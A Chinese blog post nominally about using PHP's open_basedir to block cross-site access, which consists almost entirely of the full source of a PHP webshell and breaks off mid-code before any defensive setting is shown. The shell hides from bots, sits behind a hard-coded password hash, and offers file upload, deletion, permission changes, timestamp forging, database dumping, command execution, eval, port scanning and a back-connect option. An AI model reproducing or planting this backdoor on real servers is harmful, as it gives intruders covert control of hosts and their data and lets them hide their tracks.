1. 程式人生 > >php open basedir設定防止跨站

php open basedir設定防止跨站

通過在網站掛馬,進入到PHP的目錄,如果PHP打開了scandir方法的話,可以直接通過目錄一級一級的像上面進入,此操作會造成很大的風險。

下面給出PHP的木馬檔案

<?php

//ini_set('display_errors',1);

@error_reporting(7);

@session_start();

@set_time_limit(0);

@set_magic_quotes_runtime(0);

if( strpos( strtolower($_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {

       header('HTTP/1.0404 Not Found');

       exit;

}

ob_start();

$mtime = explode(' ', microtime());

$starttime = $mtime[1] + $mtime[0];

define('SA_ROOT', str_replace('\\', '/',dirname(__FILE__)).'/');

define('SELF', $_SERVER['PHP_SELF'] ?$_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);

define('IS_WIN', DIRECTORY_SEPARATOR =='\\');

define('IS_GPC', get_magic_quotes_gpc());

$dis_func =get_cfg_var('disable_functions');

define('IS_PHPINFO',(!eregi("phpinfo",$dis_func)) ? 1 : 0 );

if( IS_GPC ) {

       $_POST= s_array($_POST);

}

$P = $_POST;

unset($_POST);

/*===================== 程式配置 =====================*/

$pass = 'e10adc3949ba59abbe56e057f20f883e'; //對應的密碼是123456

//如您對 cookie 作用範圍有特殊要求, 或登入不正常, 請修改下面變數, 否則請保持預設

// cookie 字首

$cookiepre = '';

// cookie 作用域

$cookiedomain = '';

// cookie 作用路徑

$cookiepath = '/';

// cookie 有效期

$cookielife = 86400;

/*===================== 配置結束 =====================*/

$charsetdb = array(

       'big5'                  => 'big5',

       'cp-866'              => 'cp866',

       'euc-jp'        => 'ujis',

       'euc-kr'        => 'euckr',

       'gbk'                   => 'gbk',

       'iso-8859-1'       => 'latin1',

       'koi8-r'        => 'koi8r',

       'koi8-u'       => 'koi8u',

       'utf-8'                 => 'utf8',

       'windows-1252' => 'latin1',

);

$act = isset($P['act']) ? $P['act'] : '';

$charset = isset($P['charset']) ? $P['charset']: 'gbk';

$doing = isset($P['doing']) ? $P['doing'] :'';

for ($i=1;$i<=4;$i++) {

       ${'p'.$i}= isset($P['p'.$i]) ? $P['p'.$i] : '';

}

if (isset($charsetdb[$charset])) {

       header("content-Type:text/html; charset=".$charset);

}

$timestamp = time();

/* 身份驗證 */

if ($act == "Logout") {

       scookie('loginpass','', -86400 * 365);

       @header('Location:'.SELF);

       exit;

}

if($pass) {

       if($act == 'login') {

              if($pass == encode_pass($P['password'])) {

                     scookie('loginpass',encode_pass($P['password']));

                     @header('Location:'.SELF);

                     exit;

              }

       }

       if(isset($_COOKIE['loginpass'])) {

              if($_COOKIE['loginpass'] != $pass) {

                     loginpage();

              }

       }else {

              loginpage();

       }

}

/* 驗證結束 */

$errmsg = '';

$uchar = '▲';

$dchar = '▼';

!$act && $act = 'file';

//當前目錄/設定工作目錄/網站根目錄

$home_cwd = getcwd();

if (isset($P['cwd']) && $P['cwd']){

       chdir($P['cwd']);

} else {

       chdir(SA_ROOT);

}

$cwd = getcwd();

$web_cwd = $_SERVER['DOCUMENT_ROOT'];

foreach (array('web_cwd','cwd','home_cwd')as $k) {

       if(IS_WIN) {

              $$k= str_replace('\\', '/', $$k);

       }

       if(substr($$k, -1) != '/') {

              $$k= $$k.'/';

       }

}

// 檢視PHPINFO

if ($act == 'phpinfo') {

       if(IS_PHPINFO) {

              phpinfo();

              exit;

       }else {

              $errmsg= 'phpinfo() function has disabled';

       }

}

if(!function_exists('scandir')) {

       functionscandir($cwd) {

              $files= array();

              $dh= opendir($cwd);

              while($file = readdir($dh)) {

                     $files[]= $file;

              }

              return$files ? $files : 0;

       }

}

if ($act == 'down') {

       if(is_file($p1) && is_readable($p1)) {

              @ob_end_clean();

              $fileinfo= pathinfo($p1);

              if(function_exists('mime_content_type')) {

                     $type= @mime_content_type($p1);

                     header("Content-Type:".$type);

              }else {

                     header('Content-type:application/x-'.$fileinfo['extension']);

              }

              header('Content-Disposition:attachment; filename='.$fileinfo['basename']);

              header('Content-Length:'.sprintf("%u", @filesize($p1)));

              @readfile($p1);

              exit;

       }else {

              $errmsg= 'Can\'t read file';

              $act= 'file';

       }

}

?>

<html>

<head>

<metahttp-equiv="Content-Type" content="text/html; charset=<?phpecho $charset;?>">

<title><?php echo $act.' -'.$_SERVER['HTTP_HOST'];?></title>

<style type="text/css">

body,td{font: 12pxArial,Tahoma;line-height: 16px;}

.input, select{font:12pxArial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}

.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}

.red{color:#f00;}

.black{color:#000;}

.green{color:#090;}

.b{font-weight:bold;}

.bt{border-color:#b0b0b0;background:#3d3d3d;color:#fff;font:12px Arial,Tahoma;height:22px;}

a {color: #00f;text-decoration:none;}

a:hover{color:#f00;text-decoration:underline;}

.alt1 td{border-top:1px solid#fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}

.alt2 td{border-top:1px solid #fff;border-bottom:1pxsolid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}

.focus td{border-top:1px solid#fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}

.head td{border-top:1px solid#fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px5px;font-weight:bold;}

.head td span{font-weight:normal;}

.infolist {padding:10px;margin:10px 0 20px0;background:#F1F1F1;border:1px solid #ddd;}

form{margin:0;padding:0;}

h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}

ul.infoli{margin:0;color:#444;line-height:24px;height:24px;}

u{text-decoration:none;color:#777;float:left;display:block;width:150px;margin-right:10px;}

.drives{padding:5px;}

.drives span {margin:auto 7px;}

</style>

<scripttype="text/javascript">

function checkall(form) {

       for(vari=0;i<form.elements.length;i++) {

              vare = form.elements[i];

       if (e.type == 'checkbox') {

                     if(e.name != 'chkall' && e.name != 'saveasfile')

                            e.checked= form.chkall.checked;

              }

    }

}

function $(id) {

       returndocument.getElementById(id);

}

function createdir(){

       varnewdirname;

       newdirname= prompt('請輸入目錄名:', '');

       if(!newdirname) return;

       g(null,null,'createdir',newdirname);

}

function fileperm(pfile, val){

       varnewperm;

       newperm= prompt('當前 目錄/檔案:'+pfile+'\n請輸入新的許可權:', val);

       if(!newperm) return;

       g(null,null,'fileperm',pfile,newperm);

}

function rename(oldname){

       varnewfilename;

       newfilename= prompt('檔名:'+oldname+'\n請輸入新的檔名:', '');

       if(!newfilename) return;

       g(null,null,'rename',newfilename,oldname);

}

function createfile(){

       varfilename;

       filename= prompt('請輸入檔案的名字:', '');

       if(!filename) return;

       g('editfile',null, null, filename);

}

function setdb(dbname) {

       if(!dbname)return;

       $('dbform').tablename.value='';

       $('dbform').doing.value='';

       if($('dbform').sql_query)

       {

              $('dbform').sql_query.value='';

       }

       $('dbform').submit();

}

function setsort(k) {

       $('dbform').order.value=k;

       $('dbform').submit();

}

function settable(tablename,doing) {

       if(!tablename)return;

       if(doing) {

              $('dbform').doing.value=doing;

       }else {

              $('dbform').doing.value='';

       }

       $('dbform').sql_query.value='';

       $('dbform').tablename.value=tablename;

       $('dbform').submit();

}

function s(act,cwd,p1,p2,p3,p4,charset) {

       if(act!= null) $('opform').act.value=act;

       if(cwd!= null) $('opform').cwd.value=cwd;

       if(p1!= null) $('opform').p1.value=p1;

       if(p2!= null) $('opform').p2.value=p2;

       if(p3!= null) $('opform').p3.value=p3;

       if(p4!= null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}

       if(charset!= null) $('opform').charset.value=charset;

}

function g(act,cwd,p1,p2,p3,p4,charset) {

       s(act,cwd,p1,p2,p3,p4,charset);

       $('opform').submit();

}

</script>

</head>

<bodystyle="margin:0;table-layout:fixed; word-break:break-all">

<?php

formhead(array('name'=>'opform'));

makehide('act', $act);

makehide('cwd', $cwd);

makehide('p1', $p1);

makehide('p2', $p2);

makehide('p3', $p3);

makehide('p4', $p4);

makehide('charset', $charset);

formfoot();

if(!function_exists('posix_getegid')) {

       $user= @get_current_user();

       $uid= @getmyuid();

       $gid= @getmygid();

       $group= "?";

} else {

       $uid= @posix_getpwuid(@posix_geteuid());

       $gid= @posix_getgrgid(@posix_getegid());

       $uid= $uid['uid'];

       $user= $uid['name'];

       $gid= $gid['gid'];

       $group= $gid['name'];

}

?>

<table width="100%"border="0" cellpadding="0" cellspacing="0">

       <trclass="head">

              <td><spanstyle="float:right;"><?php echo @php_uname();?> /User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.')';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echogethostbyname($_SERVER['SERVER_NAME']);?>)</td>

       </tr>

       <trclass="alt1">

              <td>

                     <spanstyle="float:right;">編碼:

                     <?php

              makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'onchange'=>'g(null,null,null,null,null,null,this.value);'));

                     ?>

                     </span>

                     <ahref="javascript:g('logout');">登出</a>|

                     <ahref="javascript:g('file',null,'','','','','<?php echo$charset;?>');">檔案管理器</a> |

                     <ahref="javascript:g('mysqladmin',null,'','','','','<?php echo$charset;?>');">MYSQL管理</a> |

                     <ahref="javascript:g('shell',null,'','','','','<?php echo$charset;?>');">執行命令</a> |

                     <ahref="javascript:g('phpenv',null,'','','','','<?php echo$charset;?>');">PHP變數</a> |

                     <ahref="javascript:g('portscan',null,'','','','','<?php echo$charset;?>');">埠掃描</a> |

                     <ahref="javascript:g('secinfo',null,'','','','','<?php echo$charset;?>');">安全資訊</a> |

                     <ahref="javascript:g('eval',null,'','','','','<?php echo$charset;?>');">Eval PHP程式碼</a>

                     <?phpif (!IS_WIN) {?> | <a href="javascript:g('backconnect',null,'','','','','<?phpecho $charset;?>');">Back Connect</a><?php }?>

              </td>

       </tr>

</table>

<table width="100%"border="0" cellpadding="15"cellspacing="0"><tr><td>

<?php

$errmsg && m($errmsg);

if ($act == 'file') {

       //判斷當前目錄可寫情況

       $dir_writeable= @is_writable($cwd) ? 'Writable' : 'Non-writable';

       if(isset($p1)) {

              switch($p1){

                     case'createdir':

                            //建立目錄

                            if($p2) {

                                   m('Directorycreated '.(@mkdir($cwd.$p2,0777) ? 'success' : 'failed'));

                            }

                            break;

                     case'uploadFile':

                            //上傳檔案

                            m('Fileupload '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'],$cwd.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));

                            break;

                     case'fileperm':

                            //編輯檔案屬性

                            if($p2 && $p3) {

                                   $p3= base_convert($p3, 8, 10);

                                   m('Setfile permissions '.(@chmod($p2, $p3) ? 'success' : 'failed'));

                            }

                            break;

                     case'rename':

                            //改名

                            if($p2 && $p3) {

                                   m($p3.'renamed '.$p2.(@rename($p3, $p2) ? ' success' : ' failed'));

                            }

                            break;

                     case'clonetime':

                            //克隆時間

                            if($p2 && $p3) {

                                   $time= @filemtime($p3);

                                   m('Setfile last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));

                            }

                            break;

                     case'settime':

                            //自定義時間

                            if($p2 && $p3) {

                                   $time= strtotime($p3);

                                   m('Setfile last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));

                            }

                            break;

                     case'delete':

                            //批量刪除檔案

                            if($P['dl']) {

                                   $succ= $fail = 0;

                                   foreach($P['dl'] as $f) {

                                          if(is_dir($cwd.$f)) {

                                                 if(@deltree($cwd.$f)) {

                                                        $succ++;

                                                 }else {

                                                        $fail++;

                                                 }

                                          }else {

                                                 if(@unlink($cwd.$f)) {

                                                        $succ++;

                                                 }else {

                                                        $fail++;

                                                 }

                                          }

                                   }

                                   m('Deletedfolder/file(s) have finished, choose '.count($P['dl']).', success '.$succ.',fail '.$fail);

                            }else {

                                   m('Pleaseselect folder/file(s)');

                            }

                            break;

                     case'paste':

                            if($_SESSION['do']== 'copy') {

                                   foreach($_SESSION['dl']as $f) {

                                          copy_paste($_SESSION['c'],$f,$cwd);                                  

                                   }

                            }elseif($_SESSION['do'] == 'move') {

                                   foreach($_SESSION['dl']as $f) {

                                          @rename($_SESSION['c'].$f,$cwd.$f);

                                   }

                            }

                            unset($_SESSION['do'],$_SESSION['dl'], $_SESSION['c']);

                            break;

                     default:

                            if($p1== 'copy' || $p1 == 'move') {

                                   if(isset($P['dl']) && count($P['dl'])) {

                                          $_SESSION['do']= $p1;

                                          $_SESSION['dl']= $P['dl'];

                                          $_SESSION['c']= $P['cwd'];

                                          m('Havebeen copied to the session');

                                   }else {

                                          m('Pleaseselect folder/file(s)');

                                   }

                            }

                            break;

              }

              echo"<scripttype=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";

       }

       //操作完畢

       $free= @disk_free_space($cwd);

       !$free&& $free = 0;

       $all= @disk_total_space($cwd);

       !$all&& $all = 0;

       $used= $all-$free;

       p('<h2>檔案管理器——當前的磁碟空間 '.sizecount($free).' of'.sizecount($all).' ('[email protected](100/($all/$free),2).'%)</h2>');

       $cwd_links= '';

       $path= explode('/', $cwd);

       $n=count($path);

       for($i=0;$i<$n-1;$i++){

              $cwd_links.= '<a href="javascript:g(\'file\', \'';

              for($j=0;$j<=$i;$j++){

                     $cwd_links.= $path[$j].'/';

              }

              $cwd_links.= '\');">'.$path[$i].'/</a>';

       }

?>

<scripttype="text/javascript">

document.onclick = shownav;

function shownav(e){

       varsrc = e?e.target:event.srcElement;

       do{

              if(src.id=="jumpto") {

                     $('inputnav').style.display= "";

                     $('pathnav').style.display= "none";

                     return;

              }

              if(src.id=="inputnav") {

                     return;

              }

              src= src.parentNode;

       }while(src.parentNode)

       $('inputnav').style.display= "none";

       $('pathnav').style.display= "";

}

</script>

<div style="background:#eee;margin-bottom:10px;">

       <formonsubmit="g('file',this.cwd.value);return false;"method="POST" id="godir" name="godir">

              <tableid="pathnav" width="100%" border="0"cellpadding="5" cellspacing="0">

                     <tr>

                            <tdwidth="100%"><?php echo $cwd_links.' - '.getChmod($cwd).' /'.PermsColor($cwd).getUser($cwd);?> (<?php echo$dir_writeable;?>)</td>

                            <tdnowrap><input class="bt" id="jumpto"name="jumpto" value="進入"type="button"></td>

                     </tr>

              </table>

              <tableid="inputnav" width="100%" border="0"cellpadding="5" cellspacing="0"style="display:none;">

                     <tr>

                            <tdnowrap>當前目錄 (<?php echo $dir_writeable;?>,<?php echo getChmod($cwd);?>)</td>

                            <tdwidth="100%"><input class="input"name="cwd" value="<?php echo $cwd;?>"type="text" style="width:99%;margin:0 8px;"></td>

                            <tdnowrap><input class="bt" value="GO"type="submit"></td>

                     </tr>

              </table>

       </form>

<?php

       if(IS_WIN) {

              $comma= '';

              p('<divclass="drives">');

              foreach(range('A','Z') as $drive ) {

                     if(is_dir($drive.':/')) {

                            p($comma.'<ahref="javascript:g(\'file\',\''.$drive.':/\');">'.$drive.':\</a>');

                            $comma= '<span>|</span>';

                     }

              }

              p('</div>');

       }

?>

</div>

<?php

       p('<tablewidth="100%" border="0" cellpadding="4"cellspacing="0">');

       p('<trclass="alt1"><td colspan="6"style="padding:5px;line-height:20px;">');

       p('<formaction="'.SELF.'" method="POST"enctype="multipart/form-data"><divstyle="float:right;"><input name="uploadfile"value="" type="file" /> <input class="bt"value="上傳" type="submit"/><input name="charset" value="'.$charset.'"type="hidden" /><input type="hidden"name="p1" value="uploadFile"><inputname="cwd" value="'.$cwd.'" type="hidden"/></div></form>');

       p('<ahref="javascript:g(\'file\',\''.str_replace('\\','/',$web_cwd).'\');">根目錄</a>');

       p('| <a href="javascript:g(\'file\', \''.$home_cwd.'\');">程式目錄</a>');

       p('| <ahref="javascript:g(\'file\',\''.$cwd.'\',null,null,null,\'dir\');">可寫目錄</a> ');

       p('| <a href="javascript:createdir();">新建目錄</a> | <a href="javascript:createfile();">新建檔案</a>');

       p('</td></tr>');

       $sort= array('filename', 1);

       if($p1){

              if(preg_match('!s_([A-z_]+)_(\d{1})!',$p1, $match)) {

                     $sort= array($match[1], (int)$match[2]);

              }

       }

       formhead(array('name'=>'flist'));

       makehide('act','file');

       makehide('p1','');

       makehide('cwd',$cwd);

       makehide('charset',$charset);

       p('<trclass="head">');

       p('<tdwidth="2%" nowrap><input name="chkall"value="on" type="checkbox"onclick="checkall(this.form)" /></td>');

       p('<td><ahref="javascript:g(\'file\',null,\'s_filename_'.($sort[1]?0:1).'\');">檔名</a> '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1'|| !$p1 ? $uchar : '').'</td>');

       p('<tdwidth="16%"><ahref="javascript:g(\'file\',null,\'s_mtime_'.($sort[1]?0:1).'\');">修改時間</a> '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1'? $uchar : '').'</td>');

       p('<tdwidth="10%"><a href="javascript:g(\'file\',null,\'s_size_'.($sort[1]?0:1).'\');">大小</a> '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ?$uchar : '').'</td>');

       p('<tdwidth="20%">許可權 / 修改</td>');

       p('<tdwidth="22%">操作</td>');

       p('</tr>');

       //檢視所有可寫檔案和目錄

       $dirdata=$filedata=array();

       if($p4 == 'dir') {

              $dirdata= GetWDirList($cwd);

              $filedata= array();

       }else {

              //預設目錄列表

              $dirs= @scandir($cwd);

              if($dirs) {

                     $dirs= array_diff($dirs, array('.'));

                     foreach($dirs as $file) {

                            $filepath=$cwd.$file;

                            if(@is_dir($filepath)){

                                   $dirdb['filename']=$file;

                                   $dirdb['mtime'][email protected]('Y-m-dH:i:s',filemtime($filepath));

                                   $dirdb['chmod']=getChmod($filepath);

                                   $dirdb['perm']=PermsColor($filepath);

                                   $dirdb['owner']=getUser($filepath);

                                   $dirdb['link']=$filepath;

                                   if($file=='..') {

                                          $dirdata['up']=1;

                                   }else {

                                          $dirdata[]=$dirdb;

                                   }

                            }else {

                                   $filedb['filename']=$file;

                                   //$filedb['size'][email protected]($filepath);

                                   $filedb['size']=sprintf("%u",@filesize($filepath));

                                   $filedb['mtime'][email protected]('Y-m-dH:i:s',filemtime($filepath));

                                   $filedb['chmod']=getChmod($filepath);

                                   $filedb['perm']=PermsColor($filepath);

                                   $filedb['owner']=getUser($filepath);

                                   $filedb['link']=$filepath;

                                   $filedata[]=$filedb;

                            }

                     }

                     unset($dirdb);

                     unset($filedb);

              }

       }

       $dir_i= '0';

       if(isset($dirdata['up'])) {

              $thisbg= bg();

              p('<trclass="'.$thisbg.'" onmouseover="this.className=\'focus\';"onmouseout="this.className=\''.$thisbg.'\';">');

              p('<tdalign="center">-</td><td nowrapcolspan="5"><ahref="javascript:g(\'file\',\''.getUpPath($cwd).'\');">ParentDirectory</a></td>');

              p('</tr>');

       }

       unset($dirdata['up']);

       usort($dirdata,'cmp');

       usort($filedata,'cmp');

       foreach($dirdataas $key => $dirdb){

              if($p1== 'getsize' && $p2 == $dirdb['filename']) {

                     $attachsize= dirsize($p2);

                     $attachsize= is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';

              }else {

                     $attachsize= '<a href="javascript:g(\'file\', null, \'getsize\',\''.$dirdb['filename'].'\');">檢視大小</a>';

              }

              $thisbg= bg();

              p('<trclass="'.$thisbg.'" onmouseover="this.className=\'focus\';"onmouseout="this.className=\''.$thisbg.'\';">');

              p('<tdwidth="2%" nowrap><input name="dl[]"type="checkbox"value="'.$dirdb['filename'].'"></td>');

              p('<td><ahref="javascript:g(\'file\',\''.$dirdb['link'].'\')">'.$dirdb['filename'].'</a></td>');

              p('<tdnowrap><ahref="javascript:g(\'newtime\',null,\''.$dirdb['filename'].'\');">'.$dirdb['mtime'].'</a></td>');

              p('<tdnowrap>'.$attachsize.'</td>');

              p('<tdnowrap>');

              p('<ahref="javascript:fileperm(\''.$dirdb['filename'].'\',\''.$dirdb['chmod'].'\');">'.$dirdb['chmod'].'</a> / ');

              p('<ahref="javascript:fileperm(\''.$dirdb['filename'].'\',\''.$dirdb['chmod'].'\');">'.$dirdb['perm'].'</a>'.$dirdb['owner'].'</td>');

              p('<tdnowrap><ahref="javascript:rename(\''.$dirdb['filename'].'\');">重新命名</a></td>');

              p('</tr>');

              $dir_i++;

       }

       p('<trbgcolor="#dddddd" stlye="border-top:1px solid#fff;border-bottom:1px solid #ddd;"><td colspan="6"height="5"></td></tr>');

       $file_i= '0';

       foreach($filedataas $key => $filedb){

              $fileurl= '/'.str_replace($web_cwd,'',$filedb['link']);

              $thisbg= bg();

              p('<trclass="'.$thisbg.'" onmouseover="this.className=\'focus\';"onmouseout="this.className=\''.$thisbg.'\';">');

              p('<tdwidth="2%" nowrap><input name="dl[]"type="checkbox"value="'.$filedb['filename'].'"></td>');

              p('<td>'.((strpos($filedb['link'],$web_cwd) !== false) ? '<a href="'.$fileurl.'"target="_blank">'.$filedb['filename'].'</a>' :$filedb['filename']).'</td>');

              p('<tdnowrap><ahref="javascript:g(\'newtime\',null,\''.$filedb['filename'].'\');">'.$filedb['mtime'].'</a></td>');

              p('<tdnowrap>'.sizecount($filedb['size']).'</td>');

              p('<tdnowrap>');

              p('<ahref="javascript:fileperm(\''.$filedb['filename'].'\',\''.$filedb['chmod'].'\');">'.$filedb['chmod'].'</a> / ');

              p('<ahref="javascript:fileperm(\''.$filedb['filename'].'\',\''.$filedb['chmod'].'\');">'.$filedb['perm'].'</a>'.$filedb['owner'].'</td>');

              p('<tdnowrap>');

              p('<ahref="javascript:g(\'down\',null,\''.$filedb['filename'].'\');">下載</a> | ');

              p('<ahref="javascript:g(\'editfile\',null,null,\''.$filedb['filename'].'\');">編輯</a> | ');

              p('<ahref="javascript:rename(\''.$filedb['filename'].'\');">重新命名</a>');

              p('</td></tr>');

              $file_i++;

       }

       p('<trclass="'.bg().' head"><td colspan="5"><ahref="#"onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();">刪除</a> | <a href="#"onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();">複製</a> | <a href="#"onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();">移動</a>'.(isset($_SESSION['do']) &&@count($_SESSION['dl']) ? ' | <a href="#"onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>': '').'</td><td align="right">'.$dir_i.' 目錄 / '.$file_i.' 檔案</td></tr>');

       p('</form></table>');

}// end dir

elseif ($act == 'mysqladmin') {

       $order= isset($P['order']) ? $P['order'] : '';

       $dbhost= isset($P['dbhost']) ? $P['dbhost'] : '';

       $dbuser= isset($P['dbuser']) ? $P['dbuser'] : '';

       $dbpass= isset($P['dbpass']) ? $P['dbpass'] : '';

       $dbname= isset($P['dbname']) ? $P['dbname'] : '';

       $tablename= isset($P['tablename']) ? $P['tablename'] : '';

       if($doing == 'dump') {

              if(isset($P['bak_table']) && $P['bak_table']) {

                     $DB= new DB_MySQL;

                     $DB->charsetdb= $charsetdb;

                     $DB->charset= $charset;

                     $DB->connect($dbhost,$dbuser, $dbpass, $dbname);

                     if($P['saveasfile'] && $P['bak_path']) {

                            $fp= @fopen($P['bak_path'],'w');

                            if($fp) {

                                   foreach($P['bak_table']as $k => $v) {

                                          if($v) {

                                                 $DB->sqldump($v,$fp);

                                          }

                                   }

                                   fclose($fp);                      

                                   $fileurl= str_replace(SA_ROOT,'',$P['bak_path']);

                                   m('Databasehas backup to <a href="'.$fileurl.'"target="_blank">'.$P['bak_path'].'</a>');

                            }else {

                                   m('Backupfailed');

                            }

                     }else {

                            @ob_end_clean();

                            $filename= basename($dbname.'.sql');

                            header('Content-type:application/unknown');

                            header('Content-Disposition:attachment; filename='.$filename);

                            foreach($P['bak_table']as $k => $v) {

                                   if($v) {

                                          $DB->sqldump($v);

                                   }

                            }

                            exit;

                     }

                     $DB->close();

              }else {

                     m('Pleasechoose the table');

              }

              $doing= '';

       }

       formhead(array('title'=>'MYSQL管理', 'name'=>'dbform'));

       makehide('act','mysqladmin');

       makehide('doing',$doing);

       makehide('charset',$charset);

       makehide('tablename',$tablename);

       makehide('order',$order);

       p('<p>');

       p('地址:');

       makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));

       p('使用者:');

       makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));

       p('密碼:');

       makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));

       makeinput(array('value'=>'連線','type'=>'submit','class'=>'bt'));

       p('</p>');

       if($dbhost && $dbuser && isset($dbpass)) {

              //初始化資料庫類

              $DB= new DB_MySQL;

              $DB->charsetdb= $charsetdb;

              $DB->charset= $charset;

              $DB->connect($dbhost,$dbuser, $dbpass, $dbname);

              //獲取資料庫資訊

              p('<pclass="red">MySQL '.$DB->version().' running in '.$dbhost.' as'.$dbuser.'@'.$dbhost.'</p>');

              $highver= $DB->version() > '4.1' ? 1 : 0;

              //獲取資料庫

              $query= $DB->query("SHOW DATABASES");

              $dbs= array();

              $dbs[]= '-- Select a database --';

              while($db= $DB->fetch($query)) {

                     $dbs[$db['Database']]= $db['Database'];

              }

       makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)'));

              if($dbname) {

                     p('<p>Currentdababase: <ahref="javascript:setdb(\''.$dbname.'\');">'.$dbname.'</a>');

                     if($tablename) {

                            p('| Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a>[ <a href="javascript:settable(\''.$tablename.'\',\'structure\');">Structure</a> ]');

                     }

                     p('</p>');

                     $sql_query= isset($P['sql_query']) ? $P['sql_query'] : '';

                     if($tablename && !$sql_query) {

                            $sql_query= "SELECT * FROM $tablename LIMIT 0, 30";

                     }

                     if($tablename && $doing == 'structure') {

                            $sql_query= "SHOW FULL COLUMNS FROM $tablename;\n";

                            $sql_query.= "SHOW INDEX FROM $tablename;";

                     }

                     p('<p><tablewidth="200" border="0" cellpadding="0"cellspacing="0"><tr><td colspan="2">Run SQLquery/queries on database'.$dbname.':</td></tr><tr><td><textareaname="sql_query" class="area"style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><tdstyle="padding:0 5px;"><input class="bt"onclick="$(\'doing\').value=\'\'" style="height:50px;"type="submit" value="Query"/></td></tr></table></p>');

                     if($sql_query) {

                            $querys= @explode(';',$sql_query);

                            foreach($querysas $num=>$query) {

                                   if($query) {

                                          p("<pclass=\"red b\">Query#{$num} :".htmlspecialchars($query,ENT_QUOTES)."</p>");

                                          switch($DB->query_res($query))

                                          {

                                                 case0:

                                                        p('<h2>'.$DB->halt('Error').'</h2>');

                                                        break;  

                                                 case1:

                                                        $result= $DB->query($query);

                                                        $tatol= $DB->num_rows($result);

                                                        p('<tableborder="0" cellpadding="3" cellspacing="0">');

                                                        p('<trclass="head">');

                                                        $fieldnum= @mysql_num_fields($result);

                                                        for($i=0;$i<$fieldnum;$i++){

                                                               p('<tdnowrap>'[email protected]_field_name($result, $i).'</td>');

                                                        }

                                                        p('</tr>');

                                                        if(!$tatol) {

                                                               p('<trclass="alt2" onmouseover="this.className=\'focus\';"onmouseout="this.className=\'alt2\';"><td nowrapcolspan="'.$fieldnum.'" class="red b">Norecords</td></tr>');

                                                        }else {

                                                               while($mn= $DB->fetch($result)){

                                                                      $thisbg= bg();

                                                                      p('<trclass="'.$thisbg.'" onmouseover="this.className=\'focus\';"onmouseout="this.className=\''.$thisbg.'\';">');

                                                                      //讀取記錄用

                                                                      foreach($mnas $key=>$inside){

                                                                             p('<tdnowrap>'.(($inside == null) ? '<i>null</i>' :html_clean($inside)).'</td>');

                                                                      }

                                                                      p('</tr>');

                                                                      unset($b1);

                                                               }

                                                        }

                                                        p('</table>');

                                                        break;

                                                 case2:

                                                        p('<h2>AffectedRows : '.$DB->affected_rows().'</h2>');

                                                        break;

                                          }

                                   }

                            }

                     }else {

                            $query= $DB->query("SHOW TABLE STATUS");

                            $table_num= $table_rows = $data_size = 0;

                            $tabledb= array();

                            while($table= $DB->fetch($query)) {

                                   $data_size= $data_size + $table['Data_length'];

                                   $table_rows= $table_rows + $table['Rows'];

                                   $table_num++;

                                   $tabledb[]= $table;

                            }

                            $data_size= sizecount($data_size);

                            unset($table);

                            if(count($tabledb)) {

                                   if($highver) {

                                          $db_engine= $DB->fetch($DB->query("SHOW VARIABLES LIKE'storage_engine';"));                                  

                                          $db_collation= $DB->fetch($DB->query("SHOW VARIABLES LIKE'collation_database';"));

                                   }

                                   $sort= array('Name', 1);

                                   if($order){

                                          if(preg_match('!s_([A-z_]+)_(\d{1})!',$order, $match)) {

                                                 $sort= array($match[1], (int)$match[2]);

                                          }

                                   }

                                   usort($tabledb,'cmp');

                                   p('<tableborder="0" cellpadding="0" cellspacing="0"id="lists">');

                                   p('<trclass="head">');

                                   p('<tdwidth="2%"><input name="chkall" value="on"type="checkbox" onclick="checkall(this.form)"/></td>');

                                   p('<td><ahref="javascript:setsort(\'s_Name_'.($sort[1]?0:1).'\');">Name</a>'.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ?$uchar : '').'</td>');

                                   p('<td><ahref="javascript:setsort(\'s_Rows_'.($sort[1]?0:1).'\');">Rows</a>'.($order== 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar :'').'</td>');

                                   p('<td><ahref="javascript:setsort(\'s_Data_length_'.($sort[1]?0:1).'\');">Data_length</a>'.($order== 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar :'').'</td>');

                                   p('<td><ahref="javascript:setsort(\'s_Create_time_'.($sort[1]?0:1).'\');">Create_time</a>'.($order== 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar :'').'</td>');

